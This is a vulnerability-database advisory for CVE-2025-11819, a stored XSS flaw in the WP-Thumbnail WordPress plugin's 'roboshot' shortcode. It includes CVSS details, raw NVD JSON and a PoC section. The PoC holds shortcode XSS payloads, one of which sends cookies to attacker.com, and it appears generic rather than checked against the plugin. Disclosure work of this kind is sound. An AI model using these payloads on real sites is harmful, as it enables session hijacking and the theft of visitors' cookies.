Security Vulnerability Report
中文
CVE-2025-11819 CVSS 6.4 MEDIUM

CVE-2025-11819

Published: 2025-10-22 09:15:34
Last Modified: 2026-04-15 00:35:42

Description

The WP-Thumbnail plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'roboshot' shortcode in all versions up to, and including, 1.1. This is due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WP-Thumbnail 插件所有版本(<= 1.1)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-11819 PoC - Stored XSS via WP-Thumbnail 'roboshot' shortcode The following shortcode can be injected into a WordPress post/page by an authenticated user with contributor-level access or above. When the page is viewed by any user, the malicious JavaScript will execute. --> <!-- Malicious shortcode injection example --> [roboshot src="" onerror="alert(document.cookie)" other_attr=""><script>alert('XSS-CVE-2025-11819')</script>] <!-- Alternative injection via attribute value --> [roboshot id="><img src=x onerror=alert('CVE-2025-11819-XSS')>" width="100"] <!-- JavaScript payload for session hijacking --> [roboshot src="x" onerror="var i=new Image();i.src='https://attacker.com/steal?c='+document.cookie;">]

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11819", "sourceIdentifier": "[email protected]", "published": "2025-10-22T09:15:33.770", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP-Thumbnail plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'roboshot' shortcode in all versions up to, and including, 1.1. This is due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-thumbnail/tags/1.1/wp-thumbnail.php#L67", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/wp-thumbnail/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9c641d50-51ac-47ca-beaf-3e79f436e091?source=cve", "source": "[email protected]"}]}}